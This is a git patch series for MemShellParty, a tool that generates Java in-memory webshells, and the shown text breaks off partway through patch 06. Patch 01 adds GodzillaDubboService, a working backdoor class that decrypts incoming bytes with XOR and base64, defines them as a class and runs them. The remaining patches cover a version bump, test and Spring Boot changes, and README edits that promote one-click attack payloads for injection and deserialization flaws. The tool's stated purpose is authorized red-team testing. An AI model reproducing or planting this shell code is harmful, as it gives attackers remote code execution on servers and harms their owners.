From c6557bf80adf4ca5d2c4ddf89dae94f5cd80a793 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 30 May 2026 14:56:03 +0800 Subject: [PATCH 01/17] feat: support godzilla dubbo xor_base64 shell --- .../javaweb/memshell/ServerFactory.java | 2 + .../godzilla/GodzillaDubboService.java | 85 +++++++++++++++++++ 2 files changed, 87 insertions(+) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaDubboService.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index e5f6a5ec..3e41d250 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -83,6 +83,8 @@ public class ServerFactory { .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(ACTION, GodzillaStruts2Action.class) + .addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class) + .addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class) .build()); addToolMapping(ShellTool.Behinder, ToolMapping.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaDubboService.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaDubboService.java new file mode 100644 index 00000000..ba0baefb --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaDubboService.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.UnsupportedEncodingException; +import java.util.Base64; + +/** + * @author ReaJason + */ +public class GodzillaDubboService extends ClassLoader { + private static String key; + private static String md5; + private static Class payload; + + public GodzillaDubboService() { + } + + public GodzillaDubboService(ClassLoader z) { + super(z); + } + + public byte[] handle(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + return new byte[0]; + } + try { + byte[] data = decrypt(bytes, key); + if (payload == null) { + payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + return "ok".getBytes("UTF-8"); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(data); + f.toString(); + byte[] byteArray = arrOut.toByteArray(); + return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8"); + } + } catch (Throwable e) { + try { + return getErrorMessage(e).getBytes("UTF-8"); + } catch (UnsupportedEncodingException ignored) { + } + } + return new byte[0]; + } + + public static String encrypt(byte[] data, String key) { + byte[] keyBytes = key.getBytes(); + byte[] xored = new byte[data.length]; + + for (int i = 0; i < data.length; i++) { + xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]); + } + return Base64.getEncoder().encodeToString(xored); + } + + public static byte[] decrypt(byte[] ciphertext, String key) { + byte[] data = Base64.getDecoder().decode(ciphertext); + byte[] keyBytes = key.getBytes(); + byte[] result = new byte[data.length]; + + for (int i = 0; i < data.length; i++) { + result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]); + } + return result; + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} \ No newline at end of file From 68f84ed13a8b03146137a50e52b99d57ef120c93 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 30 May 2026 14:56:24 +0800 Subject: [PATCH 02/17] chore: 2.8.0-SNAPSHOT --- build.gradle.kts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build.gradle.kts b/build.gradle.kts index 12a09b24..636301e8 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.7.2" +version = "2.8.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") From b8c425537a8fa0214e515f406759b88ac85fff6d Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 03:11:33 +0800 Subject: [PATCH 03/17] test: glassfish7 container not ready --- .../integration/memshell/glassfish/GlassFish7ContainerTest.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index 44313c18..4d5c25dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -8,6 +8,7 @@ import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; @@ -24,6 +25,7 @@ public class GlassFish7ContainerTest extends AbstractContainerTest { private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( "reajason/glassfish:7.0.20-jdk17", "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) .warFile(warJakartaFile) .jakarta(true) .targetJdkVersion(Opcodes.V17) From 562e55c14447353be925853b3e9655cd9d3880d2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 03:18:16 +0800 Subject: [PATCH 04/17] feat: boot use spring-boot 4.1.0 + jre25 --- boot/Dockerfile | 2 +- boot/build.gradle.kts | 7 ++-- .../ConfigControllerIntegrationTest.java | 35 ++++++++++++++----- .../MemShellGeneratorControllerTest.java | 27 ++++++++++---- 4 files changed, 50 insertions(+), 21 deletions(-) diff --git a/boot/Dockerfile b/boot/Dockerfile index 342cf603..05f9e291 100644 --- a/boot/Dockerfile +++ b/boot/Dockerfile @@ -1,4 +1,4 @@ -FROM eclipse-temurin:17.0.17_10-jre-noble +FROM eclipse-temurin:25.0.3_9-jre-noble LABEL authors="ReaJason" diff --git a/boot/build.gradle.kts b/boot/build.gradle.kts index f7d1f537..529fd4e4 100644 --- a/boot/build.gradle.kts +++ b/boot/build.gradle.kts @@ -1,6 +1,6 @@ plugins { id("java") - id("org.springframework.boot") version "3.5.8" + id("org.springframework.boot") version "4.1.0" id("io.spring.dependency-management") version "1.1.7" } @@ -31,11 +31,8 @@ dependencies { exclude(group = "commons-logging", module = "commons-logging") } implementation("org.springframework.boot:spring-boot-starter-thymeleaf") - implementation("org.springframework.boot:spring-boot-starter-web") { - exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat") - } + implementation("org.springframework.boot:spring-boot-starter-web") implementation(libs.commons.lang3) - implementation("org.springframework.boot:spring-boot-starter-undertow") compileOnly("org.projectlombok:lombok") developmentOnly("org.springframework.boot:spring-boot-devtools") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java index 712e9697..9fdf676a 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java @@ -1,11 +1,12 @@ package com.reajason.javaweb.boot.controller; import org.junit.jupiter.api.Test; -import org.springframework.beans.factory.annotation.Autowired; +import org.junit.jupiter.api.BeforeEach; import org.springframework.boot.test.context.SpringBootTest; -import org.springframework.boot.test.web.client.TestRestTemplate; +import org.springframework.boot.test.web.server.LocalServerPort; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestClient; import java.util.List; import java.util.Map; @@ -21,27 +22,45 @@ @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) public class ConfigControllerIntegrationTest { - @Autowired - private TestRestTemplate restTemplate; + @LocalServerPort + private int port; + + private RestClient restClient; + + @BeforeEach + void setUp() { + restClient = RestClient.builder() + .baseUrl("http://localhost:" + port) + .build(); + } @Test public void testConfigEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/api/config", Map.class); + ResponseEntity response = restClient.get() + .uri("/api/config") + .retrieve() + .toEntity(Map.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } @Test public void testConfigServersEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/api/config/servers", Map.class); + ResponseEntity response = restClient.get() + .uri("/api/config/servers") + .retrieve() + .toEntity(Map.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } @Test public void testConfigPackersEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/api/config/packers", List.class); + ResponseEntity response = restClient.get() + .uri("/api/config/packers") + .retrieve() + .toEntity(List.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } -} \ No newline at end of file +} diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java index eaac9fbd..d47eb59a 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java @@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.packer.Packers; +import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; -import org.springframework.boot.test.web.client.TestRestTemplate; +import org.springframework.boot.test.web.server.LocalServerPort; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; +import org.springframework.web.client.RestClient; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -25,8 +26,17 @@ @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) class MemShellGeneratorControllerTest { - @Autowired - TestRestTemplate restTemplate; + @LocalServerPort + private int port; + + private RestClient restClient; + + @BeforeEach + void setUp() { + restClient = RestClient.builder() + .baseUrl("http://localhost:" + port) + .build(); + } @Test void generateShell() { @@ -50,9 +60,12 @@ void generateShell() { shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderValue("hello"); request.setShellToolConfig(shellToolConfigDTO); - ResponseEntity response = restTemplate.postForEntity( - "/api/memshell/generate", request, MemShellGenerateResponse.class); + ResponseEntity response = restClient.post() + .uri("/api/memshell/generate") + .body(request) + .retrieve() + .toEntity(MemShellGenerateResponse.class); assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } -} \ No newline at end of file +} From 86fb8aadca318747be6a7cbee1237dea52b2b844 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 03:39:34 +0800 Subject: [PATCH 05/17] docs: update README --- README.md | 2 +- docs/README.en.md | 364 +++------------------------------ web/content/docs/changelog.mdx | 13 ++ 3 files changed, 47 insertions(+), 332 deletions(-) diff --git a/README.md b/README.md index 983c676d..21dcf701 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工 ### 使用前必看 -[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty +[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 diff --git a/docs/README.en.md b/docs/README.en.md index ae379670..78b45b4b 100644 --- a/docs/README.en.md +++ b/docs/README.en.md @@ -1,11 +1,6 @@

MemShellParty

-

English | 中文

-
- -[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) -[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml) -
+

中文 | English

@@ -17,49 +12,54 @@
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) -[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) +[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
> [!WARNING] -> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences. +> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility. > [!TIP] -> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together! +> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together. -MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together! +MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency. -What you can learn or try from this project: +

+ normal_memshell + agent_memshell + dnslog_probe + about_page +

-1. Learn to write java memshell for common middleware and frameworks. -2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing. -3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI. -4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. -5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). +## Key Features -![normal_generator](../assets/normal_generator.png) +- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time. +- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21. +- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use. +- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM. +- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads. +- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs. -![agent_generator](../assets/agent_generator.png) +## Quick Start -## Key Features +### Read Before Use -- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously. -- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) -- Minimal Size: Strives to minimize memshell size for efficient transfer. -- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios. +[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications. -## Quick Start +The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish. + +### Online Site -### Online Preview +> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors. -> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised. +You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release. -Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release. +For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk). ### Local Deployment (Recommended) -> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient. +> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient. -After deploying with Docker, access the service at http://127.0.0.1:8080 +After deploying with Docker, access http://127.0.0.1:8080 ```bash # Pull the latest image from Docker Hub @@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason # Pull the latest image from Github Container Registry docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest -# If network quality is poor, use the Nanjing University Github Container Registry mirror +# Poor network quality? Use the Nanjing University Github Container Registry mirror docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest ``` -The image is stateless. To update to the latest version, simply remove the old container and create a new one: - -```bash -# Remove the previously deployed container -docker rm -f memshell-party - -# Use the previous deployment command to redeploy (it will automatically pull the latest image) -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest -``` - -### SDK Integration into Existing Tools - -> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0). - -1. Add the dependency using Maven or Gradle: - -```xml - - - io.github.reajason - generator - 1.7.0 - -``` - -```groovy -// Gradle Repo -implementation 'io.github.reajason:generator:1.7.0' -``` - -2. Example1: Generate a Tomcat Godzilla Filter memory shell: - -```java -ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Tomcat) - .shellTool(ShellTool.Godzilla) - .shellType(ShellType.FILTER) - .shrink(true) // Shrink bytecode size - .debug(false) // Disable debug mode - .build(); - -InjectorConfig injectorConfig = InjectorConfig.builder() -// .urlPattern("/*") // Custom urlPattern, defaults to /* -// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty -// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty - .build(); - -GodzillaConfig godzillaConfig = GodzillaConfig.builder() -// .pass("pass") -// .key("key") -// .headerName("User-Agent") -// .headerValue("test") - .build(); - -GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); - -System.out.println("Injector Class Name: "+result.getInjectorClassName()); -System.out.println("MemShell Class Name: "+result.getShellClassName()); - -System.out.println(result.getShellConfig()); -System.out.println(result.getShellToolConfig()); - -System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result)); -System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result)); -``` -3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type): -```java -ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Tomcat) - .shellTool(ShellTool.Godzilla) - .shellType(ShellType.AGENT_FILTER_CHAIN) - .shrink(true) // Shrink bytecode size - .debug(false) // Disable debug mode - .build(); - -InjectorConfig injectorConfig = InjectorConfig.builder() -// .urlPattern("/*") // Custom urlPattern, defaults to /* -// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty -// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty - .build(); - -GodzillaConfig godzillaConfig = GodzillaConfig.builder() -// .pass("pass") -// .key("key") -// .headerName("User-Agent") -// .headerValue("test") - .build(); - -GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); - -System.out.println("Injector Class Name: " + result.getInjectorClassName()); -System.out.println("MemShell Class Name: " + result.getShellClassName()); - -System.out.println(result.getShellConfig()); -System.out.println(result.getShellToolConfig()); - -byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); -Files.write(Paths.get("agent.jar"), agentJarBytes); -``` -4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java) - -## Compatibility - -Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21 - -### Middleware and Frameworks - -| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | -|----------------------|------------------------|----------------------|----------------------| -| Servlet | Servlet | Filter | Filter | -| Filter | Filter | Listener | Listener | -| Listener | Listener | Valve | Valve | -| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent | -| ProxyValve | | | | -| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | -| ContextValve - Agent | | | | - -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | -|---------------------|--------------------------|-----------------|--------------| -| Servlet | Interceptor | WebFilter | NettyHandler | -| Filter | ControllerHandler | HandlerMethod | | -| Listener | FrameworkServlet - Agent | HandlerFunction | | -| FilterChain - Agent | | NettyHandler | | - -| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | -|----------------------|----------------------------|------------------------|------------------------| -| Filter | Filter | Servlet | Servlet | -| Listener | Listener | Filter | Filter | -| Valve | Valve(6) | Listener | Listener | -| ProxyValve | | | | -| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent | -| ContextValve - Agent | ContextValve - Agent (6) | | | -| | ServletHandler - Agent (7) | | | - -| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | -|-----------------------|-------------------------| -| Servlet | Servlet | -| Filter | Filter | -| Listener | Listener | -| FilterManager - Agent | ServletContext - Agent | - -| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | -|----------------------|----------------------|------------------------| -| Filter | Filter | Filter | -| Listener | Listener | Listener | -| Valve | Valve | Valve | -| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | -| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | - -| Apusic AS (9 ~ 10) | Primeton(6.5) | -|---------------------|----------------------| -| Servlet | Filter | -| Filter | Listener | -| Listener | Valve | -| FilterChain - Agent | FilterChain - Agent | -| | ContextValve - Agent | - -### MemShell Functionality - -- [x] [Godzilla](https://github.com/BeichenDream/Godzilla) -- [x] [Behinder](https://github.com/rebeyond/Behinder) -- [x] Command Execution -- [x] [Suo5](https://github.com/zema1/suo5) -- [x] [AntSword](https://github.com/AntSwordProject/antSword) -- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) -- [x] Custom - -### Packaging Methods - -- [x] BASE64 -- [x] GZIP BASE64 -- [x] JSP -- [x] JSPX -- [x] JAR -- [x] BCEL -- [x] Built-in ScriptEngine, Rhino ScriptEngine -- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell -- [x] Velocity、Freemarker、JinJava -- [x] Native Deserialization(CB and CC) -- [x] Agent -- [x] XXL-JOB Executor -- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain) -- [ ] JNDI -- [ ] JDBC Connection -- [ ] Other common deserialization - -## Local Build - -### Building from Source Code - -> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects. - -First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service. - -1. Clone the project using Git: -```bash -git clone https://github.com/ReaJason/MemShellParty.git -``` -2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module. -```bash -cd MemShellParty/web - -bun install - -bun run build -``` -3. Build the backend project. Ensure you are using a JDK 17 environment. -```bash -cd MemShellParty/boot - -./gradlew :boot:bootjar -x test -``` - -After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary). - -```bash -cd MemShellParty/boot - -java -jar \ - --add-opens=java.base/java.util=ALL-UNNAMED \ - --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ - --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ - build/libs/boot-1.0.0.jar -``` - -Alternatively, you can build a Docker container from the built artifacts: - -```bash -cd MemShellParty/boot - -docker buildx build -t memshell-party:latest . --load - -docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest -``` - -### Building with Dockerfile Directly - -> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)). - -Download the [Dockerfile](../Dockerfile) from the project root. - -- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display). -- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party). -- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party). - -```bash -# Basic build (defaults to root path "/") -docker buildx build \ - --build-arg VERSION=1.7.0 \ - -t memshell-party:latest . --load - -# Run the basic image, access at http://127.0.0.1:8080 -docker run -it -d -p 8080:8080 memshell-party:latest - -# Build with custom access path (e.g., /memshell-party) -docker buildx build \ - --build-arg VERSION=1.7.0 \ - --build-arg ROUTE_ROOT_PATH=/memshell-party \ - --build-arg CONTEXT_PATH=/memshell-party \ - -t memshell-party:latest . --load - -# Run the custom path image, access at http://127.0.0.1:8080/memshell-party -docker run -it -p 8080:8080 \ - -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \ - memshell-party:latest -``` - -If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following: - -Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and -`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path. - -```text -location /memshell-party { - proxy_pass http://127.0.0.1:8080; - proxy_set_header Host $http_host; - proxy_set_header X-Forwarded-By $server_addr:$server_port; - proxy_set_header X-Forwarded-For $remote_addr; - proxy_http_version 1.1; - proxy_connect_timeout 3s; - proxy_read_timeout 300s; - proxy_send_timeout 300s; - proxy_buffer_size 16k; - proxy_buffers 8 64k; - proxy_busy_buffers_size 128k; -} -``` - -## Contribute - -> Any feedback or issue discussion you provide is a contribution to this project. - -> It will be so nice if you want to contribute. 🎉 - -1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs. -2. If you are skilled in writing memory shells, try adding support for a new type or target. -3. If you have extensive practical experience, feel free to open issues with suggestions or improvements. - -For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。 - -## Thanks +## Special Thanks +- [vulhub/java-chains](https://github.com/vulhub/java-chains) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) +- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator) ### Let's start the party 🎉 diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 1a165bed..531564c2 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,19 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.8.0) - 2026-06-13 + +### Added + +1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)(Jenkins 2.491.1)和 [Geronimo-Jetty](https://github.com/apache/geronimo) 上下文采集注入(Thanks @su18) +2. 新增 Godzilla DubboService 内存马注入,默认使用 XOR_BASE6(仅支持特战版,Thanks @ReaJason) + +### Changed + +1. boot 使用 SpringBoot 4.1.0 版本 + Dockerfile 中默认 jre25 + +**Full Changelog:** [v2.7.2...v2.8.0](https://github.com/ReaJason/MemShellParty/compare/v2.7.2...v2.8.0) + ## [v2.7.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.2) - 2026-05-24 ### Fixed From f19a864fc5b4b6bfb6ac63d0daf9152f0d3556d6 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 13:32:33 +0800 Subject: [PATCH 06/17] test: add Geronimo/Jetty 7.1 cases --- .../workflows/memshell-integration-test.yml | 2 + .../injector/jetty/JettyFilterInjector.java | 33 ++++----- .../injector/jetty/JettyHandlerInjector.java | 3 +- .../injector/jetty/JettyListenerInjector.java | 26 ++----- .../injector/jetty/JettyServletInjector.java | 21 ++---- .../probe/payload/response/JettyWriter.java | 5 +- .../geronimo/docker-compose-221-jetty.yaml | 10 +++ .../geronimo/docker-compose-221-tomcat.yaml | 7 ++ .../jetty/docker-compose-7.1-jdk6.yaml | 11 +++ .../Geronimo221Jetty7ContainerTest.java | 59 ++++++++++++++++ .../Geronimo221Tomcat6ContainerTest.java | 68 +++++++++++++++++++ .../memshell/jetty/Jetty71ContainerTest.java | 53 +++++++++++++++ .../probe/jetty/Jetty71ContainerTest.java | 35 ++++++++++ .../src/main/webapp/WEB-INF/geronimo-web.xml | 17 +++++ 14 files changed, 290 insertions(+), 60 deletions(-) create mode 100644 